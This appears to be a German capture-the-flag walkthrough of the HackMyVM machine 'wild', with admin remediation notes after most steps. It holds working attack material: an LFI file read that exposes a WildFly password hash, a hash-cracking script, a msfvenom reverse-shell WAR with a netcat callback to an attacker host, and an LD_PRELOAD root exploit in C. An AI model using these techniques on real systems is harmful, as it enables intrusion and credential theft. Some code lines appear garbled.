192.168.2.111 08:00:27:2d:52:01 PCS Systemtechnik GmbH
**Analyse:** Der Befehl `arp-scan -l` wird verwendet, um aktive Hosts im lokalen Netzwerk zu finden. Ein Host mit der IP `192.168.2.111` wird entdeckt. Die MAC-Adresse (`08:00:27:2d:52:01`) gehört zum OUI von "PCS Systemtechnik GmbH", was auf eine VirtualBox-VM hindeutet.
**Bewertung:** Das Zielsystem wurde erfolgreich lokalisiert. Die IP `192.168.2.111` wird für die weiteren Scans verwendet.
**Empfehlung (Pentester):** Nmap-Scan auf die IP `192.168.2.111` durchführen.
**Empfehlung (Admin):** Netzwerk-Monitoring implementieren, um unbekannte Geräte zu erkennen. Sicherstellen, dass nur autorisierte Systeme im Netzwerk aktiv sind.
# Eintrag hinzugefügt: [...] 192.168.2.111 wild.hmv [...]
**Analyse:** Der Hostname `wild.hmv` wird der lokalen `/etc/hosts`-Datei des Angreifers hinzugefügt und auf die IP-Adresse des Zielsystems `192.168.2.111` gemappt.
**Bewertung:** Standardvorgehen, um das Zielsystem über seinen Hostnamen ansprechen zu können, was für Webanwendungen oder zur besseren Lesbarkeit nützlich ist.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-27 23:19 CEST Nmap scan report for wild.hmv (192.168.2.111) Host is up (0.00022s latency). Not shown: 65530 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2 (protocol 2.0) | ssh-hostkey: [...] 80/tcp open http Apache httpd 2.4.57 ((Debian)) |_http-server-header: Apache/2.4.57 (Debian) |_http-title: burger html5 landing page 8080/tcp open http-proxy # Nmap erkennt als Proxy, ist aber WildFly |_http-open-proxy: Proxy might be redirecting requests [...] |_http-title: Welcome to WildFly 8443/tcp open ssl/https-alt # WildFly HTTPS |_ssl-date: TLS randomness does not represent time |_http-title: Welcome to WildFly | ssl-cert: Subject: commonName=localhost [...] | tls-alpn: |_ http/1.1 [...] 9990/tcp open osm-appsrvr? # WildFly Management Console | fingerprint-strings: [...] | GetRequest: | HTTP/1.1 302 Found | Connection: close | Location: /console/index.html [...] MAC Address: 08:00:27:2D:52:01 (Oracle VirtualBox virtual NIC) [...] Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel [...]
**Analyse:** Ein detaillierter Nmap-Scan (`-sS -sV -A -T5 -p-`) auf `wild.hmv` (192.168.2.111) identifiziert fünf offene TCP-Ports: * **Port 22 (SSH):** OpenSSH 9.2p1 (Debian). * **Port 80 (HTTP):** Apache 2.4.57 (Debian). Zeigt eine Webseite mit dem Titel "burger html5 landing page". * **Port 8080 (HTTP):** Von Nmap als `http-proxy` erkannt, aber die Fingerprints und der Titel "Welcome to WildFly" deuten klar auf den Standard-HTTP-Port des WildFly/JBoss Application Servers hin. * **Port 8443 (HTTPS):** Ebenfalls WildFly, diesmal über SSL/TLS. Das Zertifikat ist für `localhost` ausgestellt. * **Port 9990 (Unknown):** Von Nmap als `osm-appsrvr?` fehlinterpretiert. Die HTTP-Antwort (302 Redirect auf `/console/index.html`) identifiziert dies eindeutig als den WildFly Management Console Port.
**Bewertung:** Die Hauptangriffsvektoren sind: * **Apache (Port 80):** Eine Landingpage, die weiter untersucht werden muss (Verzeichnisse, Dateien, Schwachstellen). * **WildFly (Ports 8080, 8443, 9990):** WildFly/JBoss ist bekannt für eine Vielzahl von Schwachstellen, insbesondere in älteren Versionen oder bei unsicherer Konfiguration (Default Credentials, unsichere Deployments, verwundbare Management-Schnittstelle). Port 9990 (Management Console) ist besonders interessant. * **SSH (Port 22):** Benötigt Credentials.
**Empfehlung (Pentester):**
1. **Apache (Port 80):** Mit `gobuster`/`dirb`/`nikto` untersuchen. Quellcode analysieren. Besonderes Augenmerk auf die gefundenen PHP-Dateien legen.
2. **WildFly (8080, 8443, 9990):**
* Standard-Credentials für die Management Console (9990) testen (z.B. `admin:admin`, `admin:password`, etc.).
* Mit Tools wie `jboss-autopwn` oder Metasploit-Modulen nach bekannten Schwachstellen suchen.
* Die auf 8080/8443 bereitgestellte Anwendung untersuchen.
3. **SSH:** Zurückstellen.
**Empfehlung (Admin):**
1. **Apache:** Sicher konfigurieren, nicht benötigte Module deaktivieren. Webanwendung aktuell halten und auf Schwachstellen prüfen.
2. **WildFly:** Aktuell halten (Patches!). Den Zugriff auf die Management Console (Port 9990) und die Anwendungsserver-Ports (8080/8443) stark einschränken (Firewall, nur Admin-Netzwerk). Starke, nicht-standardmäßige Passwörter für die Management Console verwenden. Unsichere Deployments entfernen.
3. **SSH:** Standard-Härtung.
- Nikto v2.5.0 [...] + Server: Apache/2.4.57 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. [...] + /: The X-Content-Type-Options header is not set. [...] + No CGI Directories found [...] + /: Web Server returns a valid response with junk HTTP methods [...] + /css/: Directory indexing found. + /css/: This might be interesting. + /images/: Directory indexing found. [...]
**Analyse:** `nikto` wird auf Port 80 ausgeführt. Es findet den Apache-Server, meldet fehlende Sicherheitsheader und Directory Indexing für `/css/` und `/images/`. Keine kritischen Schwachstellen werden direkt gefunden.
**Bewertung:** Bestätigt Standard-Konfigurationsschwächen. Directory Indexing könnte nützlich sein, ist aber oft nicht kritisch.
[...] http://wild.hmv/index.php (Status: 200) [Size: 19390] http://wild.hmv/images (Status: 301) [Size: 305] [--> http://wild.hmv/images/] http://wild.hmv/about.php (Status: 200) [Size: 3] http://wild.hmv/css (Status: 301) [Size: 302] [--> http://wild.hmv/css/] http://wild.hmv/js (Status: 301) [Size: 301] [--> http://wild.hmv/js/] http://wild.hmv/fonts (Status: 301) [Size: 304] [--> http://wild.hmv/fonts/] http://wild.hmv/recipe.php (Status: 200) [Size: 2092] fatty-burger.php (Status: 200) [Size: 2104] # Pfad relativ? shack-burger.php (Status: 200) [Size: 2069] # Pfad relativ? cheddar-burger.php (Status: 200) [Size: 2008] # Pfad relativ? [...]
[...] ==> DIRECTORY: http://192.168.2.111/images/ ==> DIRECTORY: http://192.168.2.111/css/ ==> DIRECTORY: http://192.168.2.111/fonts/ + http://192.168.2.111/index.php (CODE:200|SIZE:19390) ==> DIRECTORY: http://192.168.2.111/js/ [...]
**Analyse:** `gobuster` und `dirb` finden die Hauptseite (`index.php`), Standardverzeichnisse (`images`, `css`, `js`, `fonts`) und mehrere PHP-Dateien: `about.php`, `recipe.php`, `fatty-burger.php`, `shack-burger.php`, `cheddar-burger.php`. Die Burger-PHP-Dateien scheinen im Root-Verzeichnis zu liegen. `about.php` ist sehr klein (3 Bytes).
**Bewertung:** Die Datei `recipe.php` ist am interessantesten, da sie auf eine Funktionalität hindeutet, die über eine reine Anzeige hinausgeht. Die Burger-PHP-Dateien könnten mit `recipe.php` zusammenhängen.
**Empfehlung (Pentester):** Die Datei `recipe.php` manuell im Browser aufrufen und auf Parameter oder Interaktionsmöglichkeiten prüfen. Den Quellcode untersuchen, falls möglich (z.B. über LFI).
**Empfehlung (Admin):** Sicherstellen, dass alle PHP-Skripte sicher programmiert sind und keine Schwachstellen wie LFI oder RCE enthalten. Nicht benötigte Skripte entfernen.
# Manuelle Prüfung von http://wild.hmv:8080/Welcome to WildFly
[...] /index.html (Status: 200) [Size: 1590] /console (Status: 302) [Size: 0] [--> http://wild.hmv:9990/console]
**Analyse:** Die Untersuchung von Port 8080 zeigt die WildFly-Standard-Willkommensseite. `gobuster` findet einen Redirect von `/console` auf die Management-Konsole auf Port 9990.
**Bewertung:** Bestätigt, dass Port 8080 die Standard-WildFly-Seite ist und 9990 der Management-Port.
[*] 192.168.2.111:8080 Fingerprint: [*] 192.168.2.111:8080 Checking http... [*] 192.168.2.111:8080 /jmx-console/HtmlAdaptor not found (404) [*] 192.168.2.111:8080 /jmx-console/checkJNDI.jsp not found (404) [*] 192.168.2.111:8080 /status not found (404) [*] 192.168.2.111:8080 /web-console/ServerInfo.jsp not found (404) [*] 192.168.2.111:8080 /web-console/Invoker not found (404) [*] 192.168.2.111:8080 /invoker/JMXInvokerServlet not found (404) [*] 192.168.2.111:8080 /invoker/readonly not found (404) [*] 192.168.2.111:8080 Checking for JBoss AS default creds [*] 192.168.2.111:8080 Could not guess admin credentials [*] 192.168.2.111:8080 Checking services... [*] 192.168.2.111:8080 Naming Service tcp/1098: closed [*] 192.168.2.111:8080 Naming Service tcp/1099: closed [*] 192.168.2.111:8080 RMI invoker tcp/4444: closed [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
**Analyse:** Das Metasploit-Modul `jboss_vulnscan` wird auf Port 8080 ausgeführt. Es findet keine der bekannten, häufig ausgenutzten JBoss/WildFly-Schnittstellen (`/jmx-console`, `/web-console/Invoker`, etc.) und kann auch keine Standard-Credentials erraten.
**Bewertung:** Die "üblichen Verdächtigen" für JBoss/WildFly RCE scheinen nicht vorhanden oder nicht zugänglich zu sein. Die Management-Konsole auf Port 9990 muss genauer untersucht werden.
# Manuelle Prüfung von http://wild.hmv:9990/console/index.html
HAL Management Console
Access Provider Error
Status 401 - Unauthorized.
[...]
# Gobuster auf Port 9990 (impliziert)
http://wild.hmv:9990/health (Status: 200) [Size: 365]
http://wild.hmv:9990/management (Status: 401) [Size: 77]
http://wild.hmv:9990/logout (Status: 307) [...]
http://wild.hmv:9990/error (Status: 302) [Size: 0] [--> /error/index.html]
http://wild.hmv:9990/console (Status: 302) [Size: 0] [--> /console/index.html]
http://wild.hmv:9990/metrics (Status: 200) [Size: 34938]
**Analyse:** Der Zugriff auf die Management-Konsole (`/console/index.html`) auf Port 9990 erfordert Authentifizierung (401). `gobuster` findet einige Endpunkte: `/health` und `/metrics` sind ohne Authentifizierung zugänglich, `/management` erfordert welche.
**Bewertung:** Der Zugriff auf die Management-Konsole ist geschützt. Credentials werden benötigt. Die `/health`- und `/metrics`-Endpunkte könnten Informationen preisgeben, sind aber meist weniger kritisch.
**Empfehlung (Pentester):** Versuchen, Credentials für die Management-Konsole zu finden, z.B. durch Ausnutzung der LFI auf Port 80, um Konfigurationsdateien von WildFly zu lesen.
**Empfehlung (Admin):** Zugriff auf Port 9990 stark einschränken. Starke Passwörter verwenden. WildFly aktuell halten.
**Analyse:** Aus den Notizen geht hervor, dass die Datei `recipe.php` (gefunden auf Port 80) für LFI anfällig ist. Der Parameter ist `file`.
# Auslesen von /opt/wildfly/domain/configuration/mgmt-users.properties via LFI # curl 'http://wild.hmv/recipe.php?file=php://filter/convert.base64-encode/resource=/opt/wildfly/domain/configuration/mgmt-users.properties' # Base64 dekodiert: # # Properties declaration of users for the realm 'ManagementRealm' [...] # username=HEX( MD5( username ':' realm ':' password)) # [...] administrator=3bfa7f34174555fe766d0e0295821742
**Analyse:** Mittels LFI und dem `php://filter`-Wrapper wird die Datei `/opt/wildfly/domain/configuration/mgmt-users.properties` ausgelesen und Base64-dekodiert. Sie enthält den Benutzernamen `administrator` und einen Hash (`3bfa7f34174555fe766d0e0295821742`). Der Kommentar in der Datei erklärt das Hash-Format: `MD5(username:realm:password)`. Der Standard-Realm ist `ManagementRealm`.
**Bewertung:** Kritischer Fund! Der Benutzername und der Passwort-Hash für die WildFly Management Console wurden extrahiert. Der Hash kann nun offline geknackt werden.
**Empfehlung (Pentester):** Den Hash `3bfa7f34174555fe766d0e0295821742` mit dem Format `MD5(administrator:ManagementRealm:
**Empfehlung (Admin):** Die LFI-Schwachstelle in `recipe.php` beheben. WildFly so konfigurieren, dass Konfigurationsdateien nicht vom Webserver-Prozess gelesen werden können.
#!/usr/bin/python3 import hashlib username="administrator" realm="ManagementRealm" hash_re="3bfa7f34174555fe766d0e0295821742" with open("/usr/share/wordlists/rockyou.txt",'r',errors="ignore") as file: for passwd in file: passwd=passwd.strip() # Korrektur: Klammerung und f-string-Syntax im Original-Log fehlerhaft md5_hash = hashlib.md5(f"{username}:{realm}:{passwd}".encode()).hexdigest() if md5_hash == hash_re: print(passwd) break
katarina9
**Analyse:** Ein Python-Skript wird verwendet, um den MD5-Hash zu knacken. Es iteriert durch die `rockyou.txt`-Liste, bildet den String `administrator:ManagementRealm:
**Bewertung:** Das Passwort für den WildFly-Administrator wurde geknackt.
**Empfehlung (Pentester):** Sich mit `administrator:katarina9` an der WildFly Management Console (`http://wild.hmv:9990/`) anmelden.
**Empfehlung (Admin):** Das Passwort für den WildFly-Administrator ändern. Starke Passwörter verwenden. Die LFI beheben.
# Login an http://wild.hmv:9990/console/index.html mit administrator:katarina9
**Analyse:** Der Login in die WildFly Management Console ist erfolgreich.
Payload size: 1096 bytes Final size of war file: 1096 bytes
**Analyse:** `msfvenom` wird verwendet, um eine Java-Reverse-Shell (`java/jsp_shell_reverse_tcp`) als WAR-Datei (`tao.war`) zu erstellen. Der Listener wird auf `192.168.2.199:5555` konfiguriert. *Anmerkung: Erneut eine andere Angreifer-IP (`.199`) als zuvor (`.153`).*
**Bewertung:** Eine bösartige Webanwendung (WAR-Datei) ist bereit für das Deployment über die WildFly-Konsole.
# Deployment von tao.war über die WildFly Management Console # Navigieren zu Deployments -> Add -> Upload new deployment -> tao.war auswählen -> Next -> Enable # Details der erfolgreichen Bereitstellung: Deployment (1) tao.war tao.war The deployment tao.war is enabled and active. Disable Main Attributes Name: tao.war Runtime Name: tao.war Context Root: /tao [...] Status: OK [...]
**Analyse:** Die erstellte `tao.war`-Datei wird über die Web-Oberfläche der WildFly Management Console hochgeladen und bereitgestellt (deployed). Das Deployment ist erfolgreich und die Anwendung ist unter dem Context Root `/tao` aktiv.
**Bewertung:** Die Backdoor ist nun auf dem Server aktiv und wartet darauf, ausgelöst zu werden. Dies ist eine Standardmethode zur Kompromittierung von Application Servern mit Management-Zugang.
listening on [any] 5555 ...
listening on [any] 5555 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.111] 40676 id uid=1002(tod) gid=1002(tod) groups=1002(tod),100(users) # Shell als Benutzer 'tod'!
**Analyse:** Ein Netcat-Listener wird auf Port 5555 gestartet. Die URL der bereitgestellten WAR-Anwendung (`http://192.168.2.111:8080/tao/`) wird mit `curl` aufgerufen. Dies löst den JSP-Shell-Payload aus. Der Listener empfängt eine Verbindung vom Zielserver. Der `id`-Befehl zeigt, dass die Shell als Benutzer `tod` (UID 1002) läuft. Dies ist wahrscheinlich der Benutzer, unter dem der WildFly-Prozess ausgeführt wird.
**Bewertung:** Initial Access erfolgreich als Benutzer `tod` erlangt.
**Empfehlung (Pentester):** Shell stabilisieren und Enumeration als `tod` beginnen.
**Empfehlung (Admin):** Zugriff auf die WildFly Management Console absichern. WildFly mit einem dedizierten Benutzer mit minimalen Rechten ausführen, nicht als potenziell privilegierten Benutzer. WAR-Deployments nur aus vertrauenswürdigen Quellen zulassen.
Matching Defaults entries for tod on wild:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User tod may run the following commands on wild:
(ALL : ALL) SETENV: NPASSWD: /usr/bin/info
**Analyse:** `sudo -l` als Benutzer `tod` zeigt, dass dieser den Befehl `/usr/bin/info` als root (`ALL : ALL`) ohne Passwort (`NOPASSWD`) ausführen darf. Wichtig ist auch die `SETENV`-Option, die das Setzen von Umgebungsvariablen (wie `LD_PRELOAD`) erlaubt.
**Bewertung:** Dies ist ein klarer PrivEsc-Vektor über `LD_PRELOAD`. Da `info` ausgeführt wird und Umgebungsvariablen gesetzt werden dürfen, kann eine bösartige Shared Library (`.so`-Datei) erstellt und über `LD_PRELOAD` geladen werden, wenn `info` mit `sudo` gestartet wird. Der Code in der Library wird dann mit Root-Rechten ausgeführt.
**Empfehlung (Pentester):**
1. Eine C-Datei erstellen, die eine `_init`-Funktion enthält, welche `setuid(0)`, `setgid(0)` aufruft und eine Root-Shell (`/bin/bash -p`) startet.
2. Diese Datei zu einer Shared Library (`.so`) kompilieren.
3. Die `.so`-Datei auf das Zielsystem übertragen.
4. Den `sudo`-Befehl mit gesetzter `LD_PRELOAD`-Variable ausführen: `sudo LD_PRELOAD=/pfad/zur/boesen.so /usr/bin/info`.
**Empfehlung (Admin):** Die `sudo`-Regel für `info` entfernen. Niemals erlauben, dass Benutzer `sudo` mit der `SETENV`-Option für Befehle verwenden, die zum Laden von Libraries oder Ausführen weiterer Befehle missbraucht werden können. Die `NOPASSWD`-Option nur extrem restriktiv verwenden.
#include#include #include void _init() { unsetenv("LD_PRELOAD"); # Wichtig, um Endlosschleifen zu vermeiden setgid(0); setuid(0); system("/bin/bash -p"); # Startet root shell }
infohack.c: In function ‘_init’: infohack.c:7:5: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration] 7 | setgid(0); | ^~~~~~ infohack.c:8:5: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration] 8 | setuid(0); | ^~~~~~
**Analyse:** Auf der Angreifer-Maschine wird der C-Code für die bösartige Library (`infohack.c`) erstellt. Die `_init`-Funktion wird beim Laden der Library ausgeführt. Sie setzt UID/GID auf 0 und startet eine Bash-Shell mit erhaltenen Privilegien (`-p`). Der Code wird erfolgreich zu `infohack.so` kompiliert.
**Bewertung:** Die bösartige Library ist bereit zum Transfer.
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
--2024-04-28 01:33:35-- http://192.168.2.199/infohack.so Connecting to 192.168.2.199:80... connected. HTTP request sent, awaiting response... 200 OK Length: 14160 (14K) [application/octet-stream] Saving to: ‘infohack.so’ infohack.so 100%[===================>] 13.83K --.-KB/s in 0s 2024-04-28 01:33:35 (179 MB/s) - ‘infohack.so’ saved [14160/14160]
**Analyse:** Die kompilierte `infohack.so` wird über einen lokalen HTTP-Server auf das Zielsystem (ins Verzeichnis `/opt/wildfly/bin`, wo `tod` offenbar Schreibrechte hat) übertragen.
**Bewertung:** Die Exploit-Datei ist auf dem Ziel.
root@wild:/opt/wildfly/bin# # Root-Shell erhalten!
**Analyse:** Der `sudo`-Befehl wird ausgeführt. Die Umgebungsvariable `LD_PRELOAD` wird auf die gerade hochgeladene `infohack.so` gesetzt. Wenn `/usr/bin/info` startet, wird die `_init`-Funktion in `infohack.so` mit Root-Rechten ausgeführt, was `setuid(0)`, `setgid(0)` und `system("/bin/bash -p")` bewirkt. Der Benutzer erhält eine Root-Shell.
**Bewertung:** Privilege Escalation zu `root` erfolgreich über LD_PRELOAD-Hijacking des `info`-Befehls via `sudo`.
**Empfehlung (Pentester):** Root-Flag lesen.
**Empfehlung (Admin):** Die unsichere `sudo`-Regel für `info` entfernen. Die `SETENV`-Option in `sudoers` nur verwenden, wenn absolut notwendig und sicher. Das `LD_PRELOAD`-Verhalten ggf. systemweit einschränken.
root.txt
d8592e5a179d4b80e099f4c9a460c6e4
**Analyse:** Als `root` wird ins Home-Verzeichnis gewechselt und die `root.txt`-Datei gelesen.
**Bewertung:** Root-Flag erfolgreich gefunden.